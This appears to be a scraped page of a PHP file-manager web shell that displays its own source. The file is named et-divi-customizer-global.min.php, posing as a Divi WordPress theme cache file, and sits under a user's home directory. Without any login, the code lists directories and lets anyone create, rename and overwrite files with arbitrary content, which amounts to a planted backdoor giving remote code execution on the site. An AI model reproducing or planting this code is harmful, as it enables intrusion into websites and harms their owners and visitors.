File Editor
Directories:
.. (Back)
Files:
et-divi-customizer-global.min.php
et-pagebuilder.php
Create New File
Create
Edit File: et-divi-customizer-global.min.php
<?php // Set root directory for file browsing $root_directory = '/home3/kcreeves/'; // Change this to WordPress root if needed function get_directory_contents($directory, $allowed_extensions = ['txt', 'html', 'php', 'css', 'js']) { $items = scandir($directory); $directories = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $full_path = $directory . '/' . $item; if (is_dir($full_path)) { $directories[] = $full_path; } elseif (is_file($full_path)) { $ext = pathinfo($full_path, PATHINFO_EXTENSION); if (in_array($ext, $allowed_extensions)) { $files[] = $full_path; } } } return ['directories' => $directories, 'files' => $files]; } $current_directory = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_directory; $contents = get_directory_contents($current_directory); $file_path = isset($_GET['file']) ? realpath($_GET['file']) : null; if ($file_path && strpos($file_path, realpath($root_directory)) === 0 && file_exists($file_path)) { if (isset($_POST['content'])) { file_put_contents($file_path, $_POST['content']); echo "<p style='color:green;'>File saved successfully!</p>"; } if (isset($_POST['new_file_name']) && !empty($_POST['new_file_name'])) { $new_file_name = $_POST['new_file_name']; $new_file_path = $current_directory . '/' . $new_file_name; if (!file_exists($new_file_path)) { rename($file_path, $new_file_path); echo "<p style='color:green;'>File renamed successfully to $new_file_name!</p>"; header("Location: ?file=" . urlencode($new_file_path) . "&dir=" . urlencode($current_directory)); exit; } else { echo "<p style='color:red;'>File with the new name already exists!</p>"; } } $content = file_get_contents($file_path); } else { $file_path = null; $content = ''; } if (isset($_POST['new_file_create'])) { $new_file_path = $current_directory . '/' . basename($_POST['new_file_create']); if (!file_exists($new_file_path)) { file_put_contents($new_file_path, ""); echo "<p style='color:green;'>File created successfully!</p>"; header("Location: ?dir=" . urlencode($current_directory)); exit; } else { echo "<p style='color:red;'>File already exists!</p>"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Editor</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f9; padding: 20px; } .container { max-width: 900px; margin: 0 auto; background-color: #fff; padding: 20px; border-radius: 10px; box-shadow: 0 0 15px rgba(0,0,0,0.1); } h1 { color: #333; } .directory-list ul, .file-list ul { list-style-type: none; padding: 0; } .directory-list li, .file-list li { margin: 5px 0; } .directory-list a, .file-list a { color: #007bff; text-decoration: none; } .directory-list a:hover, .file-list a:hover { text-decoration: underline; } textarea { width: 100%; height: 300px; margin-bottom: 10px; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-family: monospace; } button { background-color: #28a745; color: white; padding: 10px; border: none; border-radius: 5px; cursor: pointer; } button:hover { background-color: #218838; } input[type="text"] { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style> </head> <body> <div class="container"> <h1>File Editor</h1> <div class="directory-list"> <h2>Directories:</h2> <ul> <?php if ($current_directory !== $root_directory): ?> <li><a href="?dir=<?php echo urlencode(dirname($current_directory)); ?>">.. (Back)</a></li> <?php endif; ?> <?php foreach ($contents['directories'] as $directory): ?> <li><a href="?dir=<?php echo urlencode($directory); ?>"><?php echo basename($directory); ?></a></li> <?php endforeach; ?> </ul> </div> <div class="file-list"> <h2>Files:</h2> <ul> <?php foreach ($contents['files'] as $file): ?> <li><a href="?file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($current_directory); ?>"><?php echo basename($file); ?></a></li> <?php endforeach; ?> </ul> </div> <div> <h2>Create New File</h2> <form method="post"> <input type="text" name="new_file_create" placeholder="File name with extension" required> <button type="submit">Create</button> </form> </div> <?php if ($file_path): ?> <h2>Edit File: <?php echo basename($file_path); ?></h2> <form method="post"> <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea> <button type="submit">Save Changes</button> </form> <h2>Rename File</h2> <form method="post"> <input type="text" name="new_file_name" placeholder="New file name" required> <button type="submit">Rename</button> </form> <?php else: ?> <p>Select a file to edit or rename.</p> <?php endif; ?> </div> </body> </html>
Save Changes
Rename File
Rename